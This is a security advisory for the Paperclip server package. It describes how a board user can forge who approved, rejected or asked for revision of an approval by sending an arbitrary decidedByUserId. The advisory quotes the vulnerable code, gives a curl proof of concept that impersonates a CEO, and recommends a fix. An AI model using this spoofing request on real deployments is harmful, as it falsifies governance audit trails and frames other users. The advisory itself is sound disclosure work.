GHSA-P7MM-R948-4Q3Q
Vulnerability from github – Published: 2026-04-16 22:48 – Updated: 2026-04-16 22:48Summary
The approval-resolution endpoints (POST /approvals/:id/approve, /reject, /request-revision) accept a client-supplied decidedByUserId field in the request body and write it verbatim into the authoritative approvals.decidedByUserId column — without cross-checking it against the authenticated actor. Any board user who can access an approval's company can record the decision as having been made by another user (e.g. the CEO), forging the governance audit trail. For hire_agent approvals with a monthly budget, the same attacker-controlled string is also stamped onto the resulting budget_policies row as createdByUserId/updatedByUserId.
Details
Entry point — server/src/routes/approvals.ts:130:
router.post("/approvals/:id/approve", validate(resolveApprovalSchema), async (req, res) => {
assertBoard(req);
const id = req.params.id as string;
if (!(await requireApprovalAccess(req, id))) {
res.status(404).json({ error: "Approval not found" });
return;
}
const { approval, applied } = await svc.approve(
id,
req.body.decidedByUserId ?? "board", // ← client-controlled
req.body.decisionNote,
);
Authorization check — server/src/routes/authz.ts:4:
export function assertBoard(req: Request) {
if (req.actor.type !== "board") {
throw forbidden("Board access required");
}
}
assertBoard only checks that the caller is some board user; it never ties req.body.decidedByUserId to req.actor.userId. requireApprovalAccess/assertCompanyAccess only verify the attacker is allowed to touch the approval's company, which every board user in that company already is.
Validator — packages/shared/src/validators/approval.ts:13:
export const resolveApprovalSchema = z.object({
decisionNote: z.string().optional().nullable(),
decidedByUserId: z.string().optional().default("board"),
});
The Zod schema accepts any string for decidedByUserId — no UUID check, no membership check, no binding to the session.
Sink — server/src/services/approvals.ts:54:
const updated = await db
.update(approvals)
.set({
status: targetStatus,
decidedByUserId, // ← attacker-chosen value written verbatim
decisionNote: decisionNote ?? null,
decidedAt: now,
updatedAt: now,
})
.where(and(eq(approvals.id, id), inArray(approvals.status, resolvableStatuses)))
.returning()
Secondary sink (budget policies) — server/src/services/approvals.ts:147-156, reached when a hire_agent approval with budgetMonthlyCents > 0 is approved:
if (budgetMonthlyCents > 0) {
await budgets.upsertPolicy(
updated.companyId,
{ scopeType: "agent", scopeId: hireApprovedAgentId, amount: budgetMonthlyCents, windowKind: "calendar_month_utc" },
decidedByUserId, // ← forwarded as actorUserId
);
}
budgets.upsertPolicy uses that actorUserId to populate createdByUserId/updatedByUserId on the budget_policies row, extending the forgery to budget-policy audit columns.
Same pattern in reject and request-revision — server/src/routes/approvals.ts:229 and :257:
router.post("/approvals/:id/reject", validate(resolveApprovalSchema), async (req, res) => {
assertBoard(req);
...
const { approval, applied } = await svc.reject(id, req.body.decidedByUserId ?? "board", req.body.decisionNote);
approvalService.reject() and requestRevision() (approvals.ts:175 and :201) both write decidedByUserId directly into the approvals row.
Why logActivity is not a mitigation: the route handlers correctly use req.actor.userId ?? "board" when writing to activity_log (e.g. approvals.ts:151, 175, 190, 212, 246, 276), which shows the developer intent was that the deciding user equals the authenticated user. But the authoritative approvals.decidedByUserId column — the value shown to anyone reviewing the approval — is still sourced from the client, so the two records are allowed to diverge and the user-visible attribution is the forged one.
Why this is reachable from a non-admin attacker: actorMiddleware (server/src/middleware/auth.ts:62-98) populates req.actor as type: "board" for any authenticated user (session cookie or board API key); isInstanceAdmin is not consulted by assertBoard. In a multi-user authenticated deployment, any board member of a company can spoof the attribution of any other board member for approvals within that company. In local_trusted deployments there is only a single implicit local-board user, so the exploit has no target — but the code is shipped for both deployment modes.
PoC
Prerequisite: a pending hire_agent approval $APPROVAL_ID in a company where both attacker@corp and ceo@corp are board members of the authenticated deployment. Attacker authenticates with their own session cookie / board API key.
- Attacker approves as the CEO:
curl -X POST http://localhost:3000/approvals/$APPROVAL_ID/approve \
-H 'Content-Type: application/json' \
-H "Cookie: $ATTACKER_SESSION" \
-d '{"decidedByUserId":"ceo@corp","decisionNote":"LGTM"}'
- Verify the forged attribution is stored on the authoritative row:
curl http://localhost:3000/approvals/$APPROVAL_ID \
-H "Cookie: $ATTACKER_SESSION" | jq '.decidedByUserId'
# => "ceo@corp"
- For
hire_agentapprovals withbudgetMonthlyCents > 0, confirm the budget-policy row is also stamped with the forged user (direct DB read, or via an endpoint that surfacesbudget_policies.createdByUserId):
SELECT scope_id, amount, created_by_user_id, updated_by_user_id
FROM budget_policies
WHERE scope_type = 'agent'
ORDER BY created_at DESC LIMIT 1;
-- created_by_user_id = 'ceo@corp'
-- updated_by_user_id = 'ceo@corp'
- The same body works against
/approvals/$APPROVAL_ID/rejectand/approvals/$APPROVAL_ID/request-revision.
Note: the activity_log row written alongside the approval still shows the real attacker's userId (correctly taken from req.actor.userId), so a defender who looks at activity_log will see the discrepancy — but the approval UI, the approvals API, and the budget_policies audit columns all display the forged user.
Impact
- Forged governance audit trail. Any board user with access to a company can record approval, rejection, or revision-request decisions under any arbitrary user identifier — including other legitimate board users of that company. Approvals gate security-sensitive actions (agent hiring, which grants execution privileges and assigns a monthly spend budget), and the
approvals.decidedByUserIdcolumn is the authoritative record of who authorized each decision. - Budget-policy attribution forgery. For
hire_agentapprovals that carry a monthly budget,budget_policies.createdByUserId/updatedByUserIdare also populated from the same attacker-controlled string, spreading the forgery to spend-authorization audit columns. - Non-repudiation break. A board user can frame another board user for approving/rejecting a hire, undermining accountability for governance actions. The parallel
activity_logentry does preserve the true actor, but any reviewer inspecting the approval itself (not the activity log) will see the forged attribution as fact. - Scope. Limited to board users who already have company access; does not escalate privileges, does not leak data, and does not change whether the decision itself gets applied. Integrity impact is Low (attribution only, not decision content); confidentiality and availability are unaffected.
Recommended Fix
Drop decidedByUserId from the request schema entirely and derive it server-side from the authenticated actor. Treat req.body.decidedByUserId as untrusted and ignore it.
packages/shared/src/validators/approval.ts:
export const resolveApprovalSchema = z.object({
decisionNote: z.string().optional().nullable(),
// decidedByUserId removed — server derives from req.actor
});
export const requestApprovalRevisionSchema = z.object({
decisionNote: z.string().optional().nullable(),
});
server/src/routes/approvals.ts (apply to /approve, /reject, /request-revision):
router.post("/approvals/:id/approve", validate(resolveApprovalSchema), async (req, res) => {
assertBoard(req);
const id = req.params.id as string;
if (!(await requireApprovalAccess(req, id))) {
res.status(404).json({ error: "Approval not found" });
return;
}
const decidedBy = req.actor.userId ?? "board"; // trust the session, not the body
const { approval, applied } = await svc.approve(id, decidedBy, req.body.decisionNote);
...
});
Repeat the same const decidedBy = req.actor.userId ?? "board"; substitution at approvals.ts:238 (/reject) and :269 (/request-revision). No change is needed inside approvalService — it already accepts the value as a parameter — and this also ensures the forged value cannot reach budgets.upsertPolicy at approvals.ts:155. Existing callers that currently pass a body decidedByUserId can be updated to stop sending it (it is already effectively redundant with the session).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@paperclipai/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.416.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T22:48:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe approval-resolution endpoints (`POST /approvals/:id/approve`, `/reject`, `/request-revision`) accept a client-supplied `decidedByUserId` field in the request body and write it verbatim into the authoritative `approvals.decidedByUserId` column \u2014 without cross-checking it against the authenticated actor. Any board user who can access an approval\u0027s company can record the decision as having been made by another user (e.g. the CEO), forging the governance audit trail. For `hire_agent` approvals with a monthly budget, the same attacker-controlled string is also stamped onto the resulting `budget_policies` row as `createdByUserId`/`updatedByUserId`.\n\n## Details\n\n**Entry point** \u2014 `server/src/routes/approvals.ts:130`:\n\n```ts\nrouter.post(\"/approvals/:id/approve\", validate(resolveApprovalSchema), async (req, res) =\u003e {\n assertBoard(req);\n const id = req.params.id as string;\n if (!(await requireApprovalAccess(req, id))) {\n res.status(404).json({ error: \"Approval not found\" });\n return;\n }\n const { approval, applied } = await svc.approve(\n id,\n req.body.decidedByUserId ?? \"board\", // \u2190 client-controlled\n req.body.decisionNote,\n );\n```\n\n**Authorization check** \u2014 `server/src/routes/authz.ts:4`:\n\n```ts\nexport function assertBoard(req: Request) {\n if (req.actor.type !== \"board\") {\n throw forbidden(\"Board access required\");\n }\n}\n```\n\n`assertBoard` only checks that the caller is some board user; it never ties `req.body.decidedByUserId` to `req.actor.userId`. `requireApprovalAccess`/`assertCompanyAccess` only verify the attacker is allowed to touch the approval\u0027s company, which every board user in that company already is.\n\n**Validator** \u2014 `packages/shared/src/validators/approval.ts:13`:\n\n```ts\nexport const resolveApprovalSchema = z.object({\n decisionNote: z.string().optional().nullable(),\n decidedByUserId: z.string().optional().default(\"board\"),\n});\n```\n\nThe Zod schema accepts any string for `decidedByUserId` \u2014 no UUID check, no membership check, no binding to the session.\n\n**Sink** \u2014 `server/src/services/approvals.ts:54`:\n\n```ts\nconst updated = await db\n .update(approvals)\n .set({\n status: targetStatus,\n decidedByUserId, // \u2190 attacker-chosen value written verbatim\n decisionNote: decisionNote ?? null,\n decidedAt: now,\n updatedAt: now,\n })\n .where(and(eq(approvals.id, id), inArray(approvals.status, resolvableStatuses)))\n .returning()\n```\n\n**Secondary sink (budget policies)** \u2014 `server/src/services/approvals.ts:147-156`, reached when a `hire_agent` approval with `budgetMonthlyCents \u003e 0` is approved:\n\n```ts\nif (budgetMonthlyCents \u003e 0) {\n await budgets.upsertPolicy(\n updated.companyId,\n { scopeType: \"agent\", scopeId: hireApprovedAgentId, amount: budgetMonthlyCents, windowKind: \"calendar_month_utc\" },\n decidedByUserId, // \u2190 forwarded as actorUserId\n );\n}\n```\n\n`budgets.upsertPolicy` uses that `actorUserId` to populate `createdByUserId`/`updatedByUserId` on the `budget_policies` row, extending the forgery to budget-policy audit columns.\n\n**Same pattern in `reject` and `request-revision`** \u2014 `server/src/routes/approvals.ts:229` and `:257`:\n\n```ts\nrouter.post(\"/approvals/:id/reject\", validate(resolveApprovalSchema), async (req, res) =\u003e {\n assertBoard(req);\n ...\n const { approval, applied } = await svc.reject(id, req.body.decidedByUserId ?? \"board\", req.body.decisionNote);\n```\n\n`approvalService.reject()` and `requestRevision()` (`approvals.ts:175` and `:201`) both write `decidedByUserId` directly into the approvals row.\n\n**Why `logActivity` is not a mitigation**: the route handlers correctly use `req.actor.userId ?? \"board\"` when writing to `activity_log` (e.g. `approvals.ts:151`, `175`, `190`, `212`, `246`, `276`), which shows the developer intent was that the deciding user equals the authenticated user. But the authoritative `approvals.decidedByUserId` column \u2014 the value shown to anyone reviewing the approval \u2014 is still sourced from the client, so the two records are allowed to diverge and the user-visible attribution is the forged one.\n\n**Why this is reachable from a non-admin attacker**: `actorMiddleware` (`server/src/middleware/auth.ts:62-98`) populates `req.actor` as `type: \"board\"` for any authenticated user (session cookie or board API key); `isInstanceAdmin` is not consulted by `assertBoard`. In a multi-user `authenticated` deployment, any board member of a company can spoof the attribution of any other board member for approvals within that company. In `local_trusted` deployments there is only a single implicit `local-board` user, so the exploit has no target \u2014 but the code is shipped for both deployment modes.\n\n## PoC\n\nPrerequisite: a pending `hire_agent` approval `$APPROVAL_ID` in a company where both `attacker@corp` and `ceo@corp` are board members of the `authenticated` deployment. Attacker authenticates with their own session cookie / board API key.\n\n1. Attacker approves as the CEO:\n\n```bash\ncurl -X POST http://localhost:3000/approvals/$APPROVAL_ID/approve \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \"Cookie: $ATTACKER_SESSION\" \\\n -d \u0027{\"decidedByUserId\":\"ceo@corp\",\"decisionNote\":\"LGTM\"}\u0027\n```\n\n2. Verify the forged attribution is stored on the authoritative row:\n\n```bash\ncurl http://localhost:3000/approvals/$APPROVAL_ID \\\n -H \"Cookie: $ATTACKER_SESSION\" | jq \u0027.decidedByUserId\u0027\n# =\u003e \"ceo@corp\"\n```\n\n3. For `hire_agent` approvals with `budgetMonthlyCents \u003e 0`, confirm the budget-policy row is also stamped with the forged user (direct DB read, or via an endpoint that surfaces `budget_policies.createdByUserId`):\n\n```sql\nSELECT scope_id, amount, created_by_user_id, updated_by_user_id\nFROM budget_policies\nWHERE scope_type = \u0027agent\u0027\nORDER BY created_at DESC LIMIT 1;\n-- created_by_user_id = \u0027ceo@corp\u0027\n-- updated_by_user_id = \u0027ceo@corp\u0027\n```\n\n4. The same body works against `/approvals/$APPROVAL_ID/reject` and `/approvals/$APPROVAL_ID/request-revision`.\n\nNote: the `activity_log` row written alongside the approval still shows the real attacker\u0027s `userId` (correctly taken from `req.actor.userId`), so a defender who looks at `activity_log` will see the discrepancy \u2014 but the approval UI, the approvals API, and the budget_policies audit columns all display the forged user.\n\n## Impact\n\n- **Forged governance audit trail.** Any board user with access to a company can record approval, rejection, or revision-request decisions under any arbitrary user identifier \u2014 including other legitimate board users of that company. Approvals gate security-sensitive actions (agent hiring, which grants execution privileges and assigns a monthly spend budget), and the `approvals.decidedByUserId` column is the authoritative record of who authorized each decision.\n- **Budget-policy attribution forgery.** For `hire_agent` approvals that carry a monthly budget, `budget_policies.createdByUserId` / `updatedByUserId` are also populated from the same attacker-controlled string, spreading the forgery to spend-authorization audit columns.\n- **Non-repudiation break.** A board user can frame another board user for approving/rejecting a hire, undermining accountability for governance actions. The parallel `activity_log` entry does preserve the true actor, but any reviewer inspecting the approval itself (not the activity log) will see the forged attribution as fact.\n- **Scope.** Limited to board users who already have company access; does not escalate privileges, does not leak data, and does not change whether the decision itself gets applied. Integrity impact is Low (attribution only, not decision content); confidentiality and availability are unaffected.\n\n## Recommended Fix\n\nDrop `decidedByUserId` from the request schema entirely and derive it server-side from the authenticated actor. Treat `req.body.decidedByUserId` as untrusted and ignore it.\n\n**`packages/shared/src/validators/approval.ts`:**\n\n```ts\nexport const resolveApprovalSchema = z.object({\n decisionNote: z.string().optional().nullable(),\n // decidedByUserId removed \u2014 server derives from req.actor\n});\n\nexport const requestApprovalRevisionSchema = z.object({\n decisionNote: z.string().optional().nullable(),\n});\n```\n\n**`server/src/routes/approvals.ts`** (apply to `/approve`, `/reject`, `/request-revision`):\n\n```ts\nrouter.post(\"/approvals/:id/approve\", validate(resolveApprovalSchema), async (req, res) =\u003e {\n assertBoard(req);\n const id = req.params.id as string;\n if (!(await requireApprovalAccess(req, id))) {\n res.status(404).json({ error: \"Approval not found\" });\n return;\n }\n const decidedBy = req.actor.userId ?? \"board\"; // trust the session, not the body\n const { approval, applied } = await svc.approve(id, decidedBy, req.body.decisionNote);\n ...\n});\n```\n\nRepeat the same `const decidedBy = req.actor.userId ?? \"board\";` substitution at `approvals.ts:238` (`/reject`) and `:269` (`/request-revision`). No change is needed inside `approvalService` \u2014 it already accepts the value as a parameter \u2014 and this also ensures the forged value cannot reach `budgets.upsertPolicy` at `approvals.ts:155`. Existing callers that currently pass a body `decidedByUserId` can be updated to stop sending it (it is already effectively redundant with the session).",
"id": "GHSA-p7mm-r948-4q3q",
"modified": "2026-04-16T22:48:46Z",
"published": "2026-04-16T22:48:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-p7mm-r948-4q3q"
},
{
"type": "PACKAGE",
"url": "https://github.com/paperclipai/paperclip"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Paperclip: Approval decision attribution spoofing via client-controlled `decidedByUserId` in paperclip server"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.